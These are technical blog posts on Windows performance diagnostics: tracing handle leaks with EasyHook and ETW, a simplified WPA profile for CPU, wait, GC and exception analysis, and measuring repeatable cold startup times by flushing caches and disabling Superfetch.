   -start executable     Start executable and then hook after 5s to give it time to initialize.
   -noetw                Disable ETW recording (used for unit testing).
   -debug                Used to debug EasyHook trampoline code. Hook notepad.exe and start Windbg of Windows 10 SDK.
Examples:
Monitor all CreateWindow/DestroyWindow calls to detect window handle leaks in an already running application with process id ddd
 ETWStackWalk.exe -hook createwindow -pid dddd
Monitor all CreateFile calls. There you can log e.g. return code, passed file name, flags and other flags of interest.
 ETWStackWalk.exe -hook createfile -pid dddd
Test hooking a method which writes if hooked an ETW event for every allocation and deallcation event to simulate a handle leak.
 ETWStackWalk.exe -hook funcetw -start UnmanagedWithExports.exe 500000
If something goes wrong you can directly debug it with Windbg if you have the Win10 SDK installed by adding the -debug switch
 ETWStackWalk.exe -hook funcetw -debug -start UnmanagedWithExports.exe 500000

To start window handle leak tracing you need to get the pid of an already running process because EasyHook is not able to inject its code while the process is still starting the CLR which can lead to all sorts of weird errors. Instead you can attach to an already running process and tell ETWStackWalk to enable createwindow/destroywindow tracing. You can also configure and output etl file if you wish our you stick to the default.

D:\Source\git\easyhook\Build\netfx4-Release\x64>ETWStackWalk.exe -hook createwindow -outfile c:\temp\resourceLeak.etl  -pid 14960
Start ETW Recording ...
Hooking into proces 14960 for createwindow 
Press Enter to stop recording
ETWStackwalk has been installed in target 14960.


Stopping ETW Recording. This can take some minutes ...
        Stop WPR Output: To analyze this trace run: wpa "c:\temp\resourceleak.etl"
Start Analysis with wpa c:\temp\resourceleak.etl -profile easyhook.wpaprofile

I have crated a suitable easyhook.wpaprofile which is dedicated to easily analyze resource leaks.  There you get a nice overview per handle and all associated aquire and release operations. The graph shows the duration how long a handle was open until it was closed again. The Start/Stop ETW Opcode Name corresponds to acquire/release calls for this handle. If handles are reused you can still see any excess (too many aquire or release calls) in the AllocSize column which is a sum of all calls  where each CreateWindow counts with +1 and all calls to DestroyWindow count as -1. If all calls cancel out you see for that handle an summed AllocSize (Field 2) of zero. The allocation size shows you that in my test while opening a solution in VS2015 where 6 additional windows were created and not yet closed. This makes it easy to filter for the outstanding window handles which have an AllocSize > 0. Then you can open drill into the call stacks and you have found the root cause of pretty much any window handle leak with practically zero speed impact of your application while this approach is generic and can be applied to any resource leak. This tester serves only as demonstration that is based on the combination of ETW and EasyHook but with this concept we can tackle a wide range of sporadic resource leaks which are now solvable with a systematic approach.

 

image

If we hook other generic methods like CloseHandle we are in a bad position since it is a generic close method which closes many different handle types. But we can (literally) sort things out if we group in WPA by handle (Field 1) and filter away all handles which have a negative allocation size (Field 2). This removes all handles for which CloseHandle was called but no corresponding e.g. CreateFile call was traced. From that on we can continue to search for outstanding file handles by looking at the totals as usual.

Now you know why the handle is always the first argument to our ETW trace calls. If we position the handle at the same method parameter location in our ETW manifest we can group the acquire and release calls by handle which is exactly what we want in WPA got generate the graph and table above.

Hooking and ETW Performance

I was telling you that this approach is fast. So how fast can it get? The y-axis are not ms but us where the average function execution time of a hooked basically empty int Func(int *a, int *b, int *c, int *d, int *e) was measured. It is interesting that the raw function execution speed from a few nanoseconds jumps to ca. 1us with ETW tracing and goes up to 4us (measured on my Haswell i7-4770K CPU @ 3.50GHz under Windows 8.1) if ETW stackwalking is enabled.  That means we can get full ETW events and stack walking at a rate of 250.000 calls/s by using that approach. That is more than most tracing frameworks offer and these do not capture the full call stack. If that is still too slow you can use EasyHook as a pure unmanaged Interceptor which could give you perhaps a factor 2-4 but then you need to take care of a lot more things.

image

What is odd is that x86 ETW tracing seems to be slower for x86 and under x64 but I did not look into that more deeply. In general x86 code should still be faster if we do the same thing because the CPU caches do not grow but the pointer and instruction size of code and data increases under x64 which simply needs more cycles as Rico Mariani explains in A little 64 bit follow-up. As long as you do not need the big address space you should not simply buy the argument that x64 is the future because it is more modern. If you want to do your users a favor you should favor the small is beautiful approach. With small I mean small code, small and efficient data structures and small code complexity. 

WPA Performance Issue (Windows 10 SDK 10.0.10586.15)

When parsing custom ETW events WPA parses the strings in a very inefficient way which can lock up your machine easily for minutes. On my 8 core machine the custom view takes minutes to build up and uses 4 cores to parse the strings from my custom ETW events. The problem is that WPA also uses code from a static helper class which is grossly inefficient. Have a look at this profiling data:

image

WPA uses 4/8 cores where 3 cores are spending CPU cycles spinning to get a lock while only one core is doing actual work (12,5% CPU is one core on a 8 core machine). This effectively single threaded operation is also very inefficient implemented. The problem comes from TDHHelper.GetStringForPropertyAtIndex which parses a string from an ETW event. This is done in a static class under a global lock:

image

When I drill down into one thread I see that EnsureCapacity and EnsureRoomForTokensAndClear are responsible for 43% of the execution time which would go away if the List<IntPtr> instances would be reused. It could also help that the parsed strings are cached which would reduce the time quite a bit if I play around with groupings in WPA. That is a major bottleneck and should be solved as my top performance issue in the current WPA implementation. I have not noticed such long delays with WPA 8.1. A quick check reveals that the code is nearly the same in previous versions. So it was always slow but with more and more custom ETW events this display is becoming much more important than before. If you look at custom CLR events (e.g. Exceptions grouped by type) you will notice the very slow reaction of WPA due to this issue.

Outlook

If you have read this far congrats. You had to digest quite many technical details from many different areas. If you are searching for a way to get rid of Windbg for resource leak analysis and use a simpler tool ETWStackwalk could be it. It is easy to extend for any other API you are interested in and it works for x86 and x64 (Win 8 and later). If you want to intercept another API you only need to extend the method injector which is declared in

easyhook\Test\ETWStackWalk\Injector.cs

In the Injector you see some examples for CreateFile and CreateWindow which contains mostly boilerplate code. The hook generation code could certainly be simplified. A nice addition would it be to compile the interception code on the fly and pass the actual Interceptor class as configuration file which would make hooking new methods truly dynamic without the need to recompile ETWStackwalk every time a new API needs to be hooked. I had used a variation of this approach for my GDI bug in Windows which actually lead to a Windows Hotfix. But this was always bound to x86 code only. Since I have found some free time to greatly extend the usefulness of the hooking approach by making EasyHook playing nice with x64 stack walking. So far every resource leak (GDI handles, File, Semaphores, Desktop Heap, … ) needed a different approach or tool. It is time to come up with an approach which is powerful and generic enough to tackle all of such resource leaks with one tool and approach. I expect that at least the idea should become state of the art how resource problems are tackled in the next years. If you have used this approach already or you had success with the idea please share it here so we all can benefit by learning from each other. It was fun to get my hands dirty with x64 assembly and to find out how the basics of exception handling really work together. Going deep is my first nature. That was the main reason why I have studied particle physics to really understand how the universe works. The discovery of the Higgs boson was really a great thing and I can at least say that I have tested some small parts of the huge ATLAS detector (which was part of the discovery of the Higgs boson) during my time at the university 15 years ago. It is kind of cool to understand how my computer works from software to hardware down to subatomic level.

If you are wondering what on earth is that guy doing when he is not in front of a computer? Apparently this:

image

With my two kids, not my boat and my wife we were enjoying two fantastic weeks at the Caribbean sea on St Thomas this January. The kids had great fun in the warm water and this was my first vacation where I did never freeze. Even the nights during winter time were above 25 Celsius. The water is so full of live I have not seen anywhere else. The Mediterranean sea looks like a desert compared to this. If you go to Coral World at St. Thomas you see many different fishes and corrals in aquariums. But if you go snorkeling you will see all animals from the zoo again which is really amazing. During that time home in Germany the people had quite a lot of snow but we were sweating the whole time which really felt odd. That's all for today. Happy bug hunting!


          Making WPA Simple - CPU/Disk/Memory and Wait Analysis      Cache   Translate Page      

Originally posted on: http://blog.freestylecoding.com/akraus1/archive/2015/09/26/167117.aspx

Last time I have shown how to have a look GC issues with my simplified WPA profile. But there is much more in this profile which will make it a lot easier to analyze standard issues. In general when you are dealing with performance you need to search for

  • CPU
  • Disk
  • Wait
  • Memory

issues. A special case is network which falls into the wait issue category where we wait for some external resource.

When you download my simplified profile and apply it to the the provided sample ETL file you get can analyze any of the above issues within much less time. Here is a screen shot of the default tab you will see when you open the ETL file.

Stack Tags are Important

image

The first and most important graph is CPU Usage Sampled with "Utilization by Process And StackTags" which is a customized view. It is usable for C++ as well as for .NET applications. If you ever did wonder what stack tags are good for you can see it for yourself. I have added a stack tag named Regular Expression which is set for all all calls to the .NET Regex class like this:

<Tag Name=".NET">
    <Tag Name="Regular Expression">
        <Entrypoint Module="System.ni.dll" Method="*System.Text.RegularExpressions.Regex*"/>
        <Entrypoint Module="System.dll" Method="*System.Text.RegularExpressions.Regex*"/>
    </Tag>
</Tag>

If more than one tag can match the deepest method with the first stack tag is used. This is the reason why the default stack tag file is pretty much useless. If you add tags for your application they will never match because the low level tags will match long before the tags in your own code could ever match. You have to uncomment all predefined stuff in it. If you use my stack tag file you need to remove WPA provided default.stacktags under Trace - Trace Properties - Stack Tags Definitions. In practice I overwrite the default file to get rid of it. If you leave it you will get e.g. very cheap CPU times for a GC heavy application because all call stacks of your application which will trigger GC stuff are added to the GC stack tag. This makes your application specific stack tags look much slimmer than they really are because your application tags come later in the call stack which are not used to tag your stacks.  

Why would I need a custom stack tag file? It makes it much easier to tag high level expensive operations of your application so you can see how much time you were spending with e.g. loading game data, decompressing things, rendering, … This makes it easy to detect patterns what your application was doing at a high level. Besides if you find a CPU bottleneck in your application you can add it under a e.g. a "Problems" node so you can document already known issues which are now easy to spot.

For our problematic application PerformanceIssuesGenerator.exe we see that it was doing for 17,5s CPU Regex stuff (Weight in View is ms in time units). To see how long the actual running time was we need to add the Thread ID column since currently we sum the CPU time of all threads which is not the actual clock time we spent waiting for completion.

image

 

The context menu is actually customized. It is much shorter and contains the most relevant columns I find useful. If you want more of the old columns then you can simply drag and drop columns from the View Editor menu which is part of all WPA tables. If you want to remove additional columns you can also drag and drop columns back to the left again. This way you can streamline all of your column selection context menus which is especially useful for the CPU Usage Precise context menu which is huge.

Select A Time Range to Analyze

Now we see that we have two large Regex CPU consumers with a large time gap in between. But what was the application actually doing? This is where marker events from your own application come in handy so you know what high level operation e.g. the user did trigger and how long it did take. This can be achieved with a custom ETW event provider or the special ETW marker events which WPA can display in the Marks graph if any of them are present in your ETL file. To be able to use them to navigate in the ETL file your application must of write them at interesting high level time points which indicate for example the start and stop of a user initiated action. For .NET applications the EventSource class is perfectly suited for this task. Marker events can be written with a custom PInvoke call to

Here is the code to write a marker event in C# which shows up in all kernel sessions. The TraceSession.GetKernelSessionHandles is adapted from the TraceEvent library. If you have "NT Kernel Logger" sessions only (e.g. if you use xperf) then you can use 0 as session handle to write to it. 

    /// <summary> Write to Windows Event Tracing a Marker string which does show up in the Marker tab when 
    /// you view the trace. This makes navigation in ETL files much easier. 
    /// </summary>
    public static class EtwMarker
    {
        #region Fields
        const int FixedBufferSize = 512;

        [StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Ansi)]
        unsafe struct ETWString
        {
            public Int32 Prefix;
            public unsafe fixed byte String[FixedBufferSize];
        }
        #endregion

        /// <summary>Write a marker string to ETW to enable easier navigation in ETL files in the viewer.</summary>
        /// <param name="str">String to write</param>
        /// <exception cref="Win32Exception">When string could not be written.</exception>
        public static unsafe void WriteMark(string fmt, params object[] args)
        {
            String str = String.Format(fmt, args);
            ETWString etwStr = new ETWString();
            int len = CreateFromString(str, ref etwStr);
            var sessionHandles = TraceSession.GetKernelSessionHandles();

            // Write to all enabled kernel sessions so this marker shows up everywhere.
            foreach (var handle in sessionHandles)
            {
                int ret = EtwSetMark(handle, &etwStr, len);
                if (ret != 0)
                {
                    throw new Win32Exception(ret);
                }
            }
        }

        /// <summary>
        /// Create an ETWString from a .NET string. The struct is fixed size.
        /// Only the first 511 bytes are copied from the ASCII string.
        /// </summary>
        /// <param name="str">String to convert</param>
        /// <param name="data">Reference to ETWString struct</param>
        /// <returns>Length of ETWString</returns>
        static unsafe int CreateFromString(string str, ref ETWString data)
        {
            var bytes = Encoding.ASCII.GetBytes(str);
            int copyLen = bytes.Length < FixedBufferSize ? bytes.Length : FixedBufferSize - 1;

            fixed (void* p = &data)
            {
                IntPtr dest = IntPtr.Add(new IntPtr(p), 4); // pointer to String buffer

                // copy at most Length-1 bytes of string to keep the terminating null char
                Marshal.Copy(bytes, 0, dest, copyLen);
                int length = 4 + copyLen + 1; // Prefix DWORD + string length + closing \0 char
                return length;
            }
        }

        /// <summary>
        /// Undocumented method of the kernel to write an ETW marker which does show
        /// up in the WPA viewer under the Marks tab. This makes navigation in trace files
        /// much easier to find important time marks.
        /// This is the same as xperf -m "string" which writes only to the "NT Kernel Logger" session.
        /// </summary>
        /// <param name="sessionHandle">if 0 the NT Kernel Logger Session is written to. Otherwise you need to use supply a handle to a kernel ETW session.</param>
        /// <param name="pStr">Ascii encoded string with a DWORD prefix</param>
        /// <param name="length">Length of complete string including the prefix and terminating \0 char</param>
        /// <returns>0 on success, otherwise a WIN32 error code</returns>
        [DllImport("ntdll.dll")]
        extern unsafe static int EtwSetMark(ulong sessionHandle, ETWString* pStr, int length);
    }

Now that we have our marks we can use them to navigate to key time points in our trace session:

image

We see that the first CPU spike comes comes from RegexProcessing which did take 3,1s. The second regex block was active between the Hang_Start/Stop events which did take 2,7s. This looks like we have some real problems in our PerformanceIssueGenerator code. Since we have according to our ETW marks Regex processing, many small objects, many large objects and a hang with simultaneous regex processing we need to select one problem after the other so we can look at each issue in isolation. That is the power which custom ETW providers or ETW Marks can give you. Normally you are lost if you know that you have several issues to follow up. But with application specific context marker events you can navigate to the first regex processing issue. To do that select the first event by and then hold down the Ctrl key while clicking at the stop event to multi select events. Then you can right click on the graph to zoom into the region defined by the first and last event.

image

Analyze CPU Issue

When you now look at the CPU consumption of the busiest threads we find 2,7s of CPU time. At the bottom WPA displays the selected duration which is 3,158s which matches quite well the reported timing of 3,178s. But the reported thread time of 2,7s is not quite the observed duration. In the graph you see some drops of the CPU graph which indicates that for some short time the thread was not active possibly waiting for something else.

image

Wait Chain Analysis

That calls for a Wait Chain Analysis. If you scroll down you will find a second CPU graph with the name CPU Usage (Precise) Waits. This customized graph is perfectly suited to find not only how much CPU was consumed but also how long any thread was waiting for something. Please note that this graph does not replace the CPU Usage Sampled graph. I have explained the difference between both CPU graphs already earlier. The column selection context menu of this graph has been massively thinned out to keep only the most relevant columns. Otherwise you would have to choose from over 50 items and the context menu even has scroll bars! Now we have only process, thread id, thread stack as groupings. Next comes a list of fixed columns which are always visible because they are so important. There we see how long each thread did wait for something (WaitForSingleObject …) as total and maximum wait time and the CPU usage in milliseconds. If we sum up for the most expensive thread the wait time of 0,385s and 2,726s of CPU time we get 3,111s which is within a small error margin exactly the time we did get by measuring the start and stop of our regex processing operation.

image

Is this conclusion correct? Not so fast since a thread can be only running or waiting (it can also wait in the ready queue which is only relevant if you have more threads running than cores) the sum of CPU and Wait times for each thread will always add up to 3,1s because this is the time range you did zoom into. To actually prove that this time is really waited while we were regex processing we have to sort by the wait column and then drill down for the thread 10764.

image

When we do this we see that all waiting did occur while the DoRegexProcessing delegate was called. It was waiting on the regular expression JIT compilation to complete. Now we have proven that that wait time is really spent while executing the regex processing stuff. If we would like to optimize the total running time we have two options: Either we could use more threads to parallelize even further or we need to tune our Regular expression or replace it by something else. Before going down that route you should always check if this string processing is necessary at all. Perhaps strings are not the best data structure and you should think about your data structures. If you need to sue strings you still should verify that the regex processing was really necessary at this point of time. Eventually you do not need the results of this regex processing stuff right now.

A Garbage Collection Issue?

In the list of marker events we see that the first regex issue overlaps with a GenerateManySmallObjects operation. Lets zoom into that one and check out the what we see under CPU usage. There we see that we are consuming a significant amount of CPU in the Other stack tag which categorizes unnamed stacks into its own node. If we drill into it we find out allocating method PerformanceIssueGenerator.exe!PerformanceIssueGenerator.IssueGenerator::GenerateManySmallObjects. That is interesting. Was it called on more than one thread?

image

To answer that question it is beneficial to select the method in question and open from the context menu View Callers- By Function

image

This will let you start to drill up to all callers of that method which is useful to find the total cost of a commonly used method (e.g. garbage_collect …). This is still the total sum for all threads. Now we need to bring back out Thread Ids to see on which threads this methods was called.

image

If the Thread ID column has more than one node beneath it it will be expandable like I have shown above. This proves that only one thread was calling this method and it did use 1,3s of CPU time. But there are still 0,4s of wait time missing. Where was the rest spent? We could use the Wait graph again to see where the wait operation was hanging around but since we know that it was allocating things we can open the Region for Garbage collections

image

And we just have found that during that time the garbage collector did block our application of 0,4s which explains the missing time in our CPU graph. We also know that we had 75 GCs during that time which is a rather high number. We can even see how many GCs of which generation we did have during that time by using my (also hand rolled) Generic Events GC Generations graph:

image

That's all about the small object allocation issue. Now lets go back by doing "Undo Zoom" in the graph to get our previous time range back where we can do the same analysis for the Generate Many Large objects issue. This is not terribly interesting which I leave to you as exercise.

UI Hang (2,727s) Analysis

Now lets investigate why our UI did hang. The hang operation has nice markers which we can use to zoom into the region of interest.

image

We are having a lot of CPU intensive threads here. If the UI was hung it must either using much CPU on the UI thread or the UI thread was blocked for some reason. If you know that the UI thread was started on your Main method you can search for CorExeMain which is the CLR method which calls into your main method. Or you search for a typical window method like user32.dll!DispatchMessageWorker. With that we quickly find thread 11972 as the thread which was hung in:

image

Obviously it was waiting for a task to complete. If you call Task.Wait on your UI thread you will block further UI message processing and your UI will not be able to redraw anymore. At least that was the visible observation. The Hang did take 2,727s which exactly matches up the total summation of all wait operations with 2,724s. If that is true we should see as maximum wait time the same the same time but there we have only 1,383s. When using WPA you can look deep into the inner workings of Windows and .NET. Lets be a little curious and check out why there were not one Wait operation but 30 waits while we were blocked in Taks.Wait. We observere that Task.Wait calls into the current Dispatcher to delegate the wait to its SynchronizationContext. This in turn calls into the current CLR thread to DoAppropriateWait which in turn calls on the UI thread MsgWaitForMultipleObjectEx. This method can block a UI thread but leave e.g. mouse events or COM messages through. Depending on which which parameters you call it it can even pump your UI thread with message which is sometimes necessary. This can lead to unintended side effects that you can execute code while you were waiting for a blocking operation. I have found such issues in Can You Execute Code While Waiting For A Lock? and Unexpected Window Message Pumping Part 2.

Digging Deeper

We know that MsgWaitForMultipleObjects can pump messages with the right flags. So what was happening in these 30 wait operations? If you open the column context menu you can add Ready Thread Stack which gives you all call stacks which did cause MsgWaitForMultpleObjects or its child methods to wake up.

image

Poor other tools. They will never be able to tell you that MsgWaitForMultipleObjects was woken up 28 times to by dwm.exe which is the Desktop Window Manager to tell our wait method: Here you have 28 mouse events which you can process or not depending on how your wait flags were configured. The last event which did finally end our Task.Wait operation was the last thread that did finish processing. This is the call where our Wait operation did wake up our blocked message loop.

 

image

You can ask: How do you know that? Well the Switch-In Time column of our event in the table which is to the right of the yellow bar with 14,425 tells me this. This is were our wait operation did end and our thread was woken up again. This is also the time where the CPU consumption has a sharp drop which is no coincidence. If you have sharp eyes you will notice in the graph at the right a blue line. This is when our thread was woken up. Every thread wake up is displayed in the graph which makes it much easier to spot regular patterns of activity. It is this wealth of information which makes WPA so powerful. But the default profile is mainly aimed at kernel developers which is a pity because it is an excellent system wide profiling tool which gives you deep insights into how Windows really works and sometimes how Windows or your application breaks.

If you have counted you will still miss one ready event. This one was Visual Studio which did send us a window message from vslog.dll!VSResponsiveness::Detours::DetourPeekMessageW. I am not sure why Visual Studio does this but if you profile your system more often you will notice that the Visual Studio responsiveness stuff gets from time to time into a loop and all Visual Studio instances will send each other messages (still the case with VS2015). This does not show up as a surge of CPU consumption. But it will increase your ETL file size considerably because you will get millions of context switches. This is not a big problem except for battery powered devices which have a higher power consumption than they could have and for people profiling their machines getting huge files.

 

.NET Exception Analysis

The previous analysis was a bit complex. Now for something nice and simple. You can easily check if your .NET application throws exceptions if you enable the .NET provider. With WPRUI you need to check ".NET Activity" to get these events and many others. For a short list of interesting .NET events you can check out the ETW manifest of .NET for yourself or you read Which Keywords Has An ETW Provider Enabled? which covers the most interesting .NET events as well. If you zoom into the Do Failing Things region which is visible as ETW Marker event in the Marks graph. Then you need to add a Generic Events Graph and change the graph type from "Activty by Provider, Task, Opcode" to .NET Exceptions which is only part of my WPA profile.

image

This gives you a nice view of all thrown exceptions in all .NET applications. You can play with the groupings and group e.g. by exception type and message to see how many different ones you have. To do that you only need to Drag the "Exception Message (Field 2)" and drop it to the right of ExceptionType. Now you have Process - Exception Type - ExceptionMessage in a nice cohesive view. You just have to remember that all columns to the left of the yellow bar are the columns which are grouped together by their values.

Starting with .NET 4.6 you can also use the .NET Exceptions Caught  view which shows you all thrown exceptions and in which method these exceptions were caught.

image

This can be interesting for automated regression tests if something breaks because an exception which was always happening is now caught in a different method which might be too late in the call chain. Having an exception is nice but the most interesting part of it is its call stack. From this graph we know the Thread on which it was happening. We do not need the process id because each thread Id is unique across all processes. Then you can zoom to a specific exception an investigate in CPU Usage (Precise or Sampled) the call stacks if something related to exception handling shows up. Searching for the method KernelBase.dll!RaiseException is usually a good way to find it. If that did not help you need to enable stack walking for the .NET provider. I blogged about how to do that a long time ago for a custom provider with xperf in Semantic Tracing for .NET 4.0. If you did record the provider "Microsoft-Windows-DotNETRuntime" with stack walking enabled you can add in the View Editor from the column context menu

image

the Stack column to display the call stack of all thrown exceptions. An alternative is to enable the StackKeyword+ExceptionKeyword  of the "Microsoft-Windows-DotNETRuntime" ETW provider. This will cause .NET to write an additional ETW event for every .NET event with a managed stackwalk event. This event is not human readable but PerfView can decode it. This is one of the things where PerfView is still the best tool to investigate managed application issues.

Conclusions

Although this is already a rather long post you still have only seen a small fraction of what you can do with ETW profiling and the WPA tool. I hope that I have convinced a few more people out there to try it out because it can help you to find the problems you never knew that they existed. But these problems might be ones your customers are always complaining about.


          Why Is The First Start Of An Application Slow?      Cache   Translate Page      

Originally posted on: http://blog.freestylecoding.com/akraus1/archive/2015/08/25/166493.aspx

All of us have experienced it but very few of us have gone into the details to really find the reasons for it. First of all why should I care? After the first time the application starts much faster. Well you should care if you want to give your customer not only a good second startup time but also a decent first startup experience. To do that you need to do repeated tests. The first startup is commonly referred to cold startup and all subsequent runs are warm startup scenarios. To test a cold startup scenario you need to reboot your computer every time and start your application. Not very practical and I have no one ever seen going down that road. The difference between warm and cold startup time is that the first time the dlls and data of the application need to be loaded from disc which can take quite some time. All subsequent runs can read the data not from disk but from the in memory file system cache which is managed by the operating system.

What Is The File System Cache?

Windows uses the memory of your system in some clever way. All memory that is used by your applications is shown in the Task Manager. The rest of the memory is free and not used by anything. Really? Of course not. The free memory consists of data of previously exited applications which was in use some time a ago. This "free" memory is called Standby List which is where the file system cache of Windows is really living. It is therefore not a good idea to max out your memory usage in task manager because if you do this you are flushing the file system cache which will result in a slow system. This cache is the reason why your second and all further startup times are much better. No disc accesses at all compared to the first run if all goes well.

How can you flush it?

If you want to measure cold startup times you need to clear the file system cache somehow. The easiest way is to use RAMMap from SysInternals. It has an option to flush the Standby List.

image

That is nice but unfortunately there is no command line tool available to do this in a test script to create repeatable tests. But not all is lost. Process Hacker is a better clone of Process Explorer which comes with full source code. There you can find the undocumented Windows API calls to flush the OS file system cache directly. It is basically

SYSTEM_MEMORY_LIST_COMMAND command = MemoryPurgeStandbyList;
NtSetSystemInformation(SystemMemoryListInformation, &command, sizeof(SYSTEM_MEMORY_LIST_COMMAND));

and you are done. There is also another trick I want to share: You want to clear the file system cache for a specific file? Windows will flush the file system cache if a file was opened with the FILE_FLAG_NO_BUFFERING flag. Here is little C# class that employs this trick:

    class FileSystemTools
    {
        const int FILE_FLAG_NO_BUFFERING = 0x20000000;
        const FileOptions Unbuffered = (FileOptions)FILE_FLAG_NO_BUFFERING;

        /// <summary>
        /// Flush the file system cache for this file. This ensures that all subsequent operations on the file really cause disc
        /// access and you can measure the real disc access time.
        /// </summary>
        /// <param name="file">full path to file.</param>
        public static void FlushFSCacheForFile(string file)
        {
            using (FileStream fileStream = new FileStream(file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite, 4096, FileOptions.None | Unbuffered))
            {

            }
        }
    }

Hidden Dragons

If the first test run is slow and all other are fast we know that the file system cache is to blame. If you see a pattern like this

image

you know that the first run was cold and all others were warm. If we now flush the file system cache we should get rock solid cold times with no other influencers except virus scanner, indexing service and other pesky applications making our test unpredictable. If we measure again - this time with flushing the file system cache - we get this:

image

 

This is not warm and not cold. What is it then? The answer is it was mostly a warm startup because another instance of the application was still running. If the a process is alive and its working set was not trimmed then the dll data is NOT in the cache since it still belongs to the working set of a running process. You need therefore make sure that you close all applications which keep your dlls in memory (e..g Visual Studio with its designers ….) to test a real cold startup scenario. There are other pitfalls as well. If you kill a process without waiting until it has terminated you can get random good runs because a process kill is an asynchronous operation. You have to wait on the process handle until it becomes signaled to be sure that it is really gone. Or if you are using .NET you need to call Process.WaitForExit() to be sure.

After we have fixed that we get this graph:

image

What the hell is going on here? This was quite hard to find out since there is very little information on the net how to reliably test cold startup scenarios. The hidden thing is Superfetch.

Doesn´t ring a bell? Besides speeding up the boot it also tries to prefetch often used application dlls into memory before the application is started based on intelligent heuristics. This gets in our way if we flush the file system cache. After that the Superfetch system service named SysMain  which is hosted in a generic svchost.exe process tries to prefetch often used dlls at low IO priority. This is additional IO collides with our test where we want to load our dlls as well. To get consistent IO numbers it is therefore best to stop the Superfetch service.

sc stop SysMain

After doing that the graph still looks the same. What is interesting that if our application reads about 30MB more data it starts nearly 10s faster. This is a mystery which only xperf can solve. Here is a Disc IO graph of a 23s slow run

image

And here is a fast 14s run.

image

We read more data but the Disc Service Time is less! The average Disc Queue Depth is very high which should indicate an overwhelmed disc. What stands out is that we have about 70% less disc read operations on the assembly folder where the native images of .NET applications are stored. Sometimes we read the disc in a slow and sometimes in a fast way. To answer the question why we read from the disc in such different ways we need to check out the Disc IO Init call stacks. These will tell us who did initiate the read operations and most important when. First comes the slow run

image

It is no surprise that our slow cold startup causes many hard page faults which triggers the kernel to read the missing pages from disc. This is known to be slow. We can do little about it except to execute less code during startup. The graph shows a nice scattered pattern across the complete startup time. Now lets have a look at the fast run

image

That looks radically different. We load the same dlls but we have no hard faults? All dll data is read before the application main thread starts running. In our process the Prefetcher reads its prefetch database which is 1,3MB in size (see PfSnPrefetchMetaData in 687ms) which allows it to read our dlls in PfSnPrefetchSections (151MB in 3,1s) to read the dll data mostly with sequential reads in about half of the time. That is the real reason why we have so wildly varying startup times. The prefetcher will look at ca. the first 12s of application startup and will then update the prefetch database for your executable. Next time the startup is a little better and it will update it again causing it to prefetch a little more and so on. This is a nice self tuning system which not many people are aware of. From time to time the prefetcher seems to do nothing to check (that is my guess) if the prefetch database is helping at all. That explains the mostly good and sometimes very slow numbers whre no prefetching is active.

If we aim at stable cold repeatable tests we need to delete disable the Superfetch service because this process is responsible to write and update the prefetch database. The prefetch database file is located at

C:\Windows\Prefetch\ExeName-FileHashPrefetchFlag.pf

We need to delete that file as well and now we have real control over our IO during application startup. If you want to calculate the file name of your application prefetch database you need to take the full path of your executable and run it through a hash function which is described at http://forensicswiki.org/wiki/Prefetch. There are still some sites out there which tell you to delete the prefetch folder to prevent caching of dlls to make your system faster. If these guys would have really measured their startup time in a controlled and systematic manner they would not have written such misleading guidelines. As you can see you need to take care about a lot of details to really understand your system. But it is worth it. If you have looked closely at the .pf file name there is a PrefetchFlag at the end. That is a number which you can pass to generic container processes to generate for the same executable different prefetch databases. This can be useful if you have generic container processes with wildly varying dll sets inside them. How do you tell the OS loader that you want to use a different prefetch database to speed up cold startup times?

Simple: Pass it as command line parameter! If you create e.g. an executable with the name prefetchTest.exe and pass /prefetch:dd as command line argument to it you get different prefetch files for each scenario:

prefetchTest.exe
    C:\Windows\Prefetch\PREFETCHTEST.EXE-47E1C1B1.pf 
prefetchTest.exe /prefetch:1
    C:\Windows\Prefetch\PREFETCHTEST.EXE-47E1C1B2.pf
prefetchTest.exe /prefetch:2
    C:\Windows\Prefetch\PREFETCHTEST.EXE-47E1C1B3.pf
That is a nice find. Perhaps you can make your own customers happier by including a cold startup test in your test suite to make the pain public. Most test reports I have seen include only warm numbers because it is quite difficult to create repeatable and stable cold startup tests. Here are my tips as short bullets for repeatable cold startup measurements:

Test Machine Preparation

  • Stop/Disable the Superfetch (SysMain) service.
  • Disable Windows Search (WSearch) service.
  • Disable Virus scanners.
  • Disable scheduled tasks and other system management software.
  • Delete the prefetch database for your executable.

Test Execution

  • Kill all applications which keep your dlls loaded.
  • Flush the file system cache before the test.

When you follow these tips you will get easily repeatable and stable cold startup numbers. If for some reason during startup much more code is executed which causes many page faults you can easily spot it. The warm startup time might not be affected at all because the actual run time of the additional code might be low but the new disc access pattern could be pricy in terms of cold startup time.


          Make WPA Simple - Garbage Collection and JIT Times      Cache   Translate Page      

Originally posted on: http://blog.freestylecoding.com/akraus1/archive/2015/08/16/166270.aspx

Did you ever see a nice tool with a fancy UI and thought: Hey that thing is powerful. I will try it! But later you were left back scratching your head why other can use this tool and get great results but you just don't get it?

Then I have news for you I have created a WPA profile which aims at user and not kernel mode developers. Many columns were removed from the context menus to give you all the power you need to find issues in your application

where no one else has found the root cause.

The ETW profile can be downloaded from here as a zip file. Unpack it to a directory and you are ready to go. So what is inside it?

 

File Description
Simple.wpaProfile The main WPA profile you can use now.
JIT.xml WPA region file referenced by Simple.wpaProfile to get JIT times of your application like PerfView.
GC.xml WPA region file referenced by Simple.wpaProfile to get Garbage Collection metrics like in PerfView only better!
HookRegions.xml WPA region file referenced by Simple.wpaProfile to see mouse clicks in your ETL file when ETWControler is running and capturing your keyboard and mouse events.
default.stacktags Stacktag file which serves as base for your application to find common .NET issues like event handle leaks, too much regex usage, monitor contention and much more.

 

Besides this there are also some WPR profiles added to enable recording of specific .NET events like exceptions together with GC events into a larger 1 GB buffer.

WPR of Windows 10 has under Scenario Analysis .NET Activity which has a very small 160MB ring buffer which is way to small for my needs. It might be good

for you but I have added extra WPR profiles for GC and JIT as well.

To show you the difference I have created a small PerformanceIssueGenerator.exe application. This generates various issues which you can analyze with WPA.

I have recorded the data already and put the 7z file here. If you want to extract it you need to download the 7z from the official site. To view the ETL file

you need a >= Windows 8 machine and Windows Performance Toolkit from the Windows 10 SDK.

 

When you have downloaded the profile and the sample etl file you can apply the profile under Profiles - Apply…

image

Then you get two tabs. The first one contains .NET specific analysis stuff like GC and JIT. The second tab can be used for the usual bottleneck analysis regarding

CPU, disk and memory usage as well as wait chain analysis. You do not need to load the profile every time. You can save it as your default profile

by clicking on Save Startup Profile to open all of your ETL files in this view now.

image

Normally I use PerfView for GC issues to check out the GC Stats of an application to see if anything significant is going on. If you have ever used PerfView then

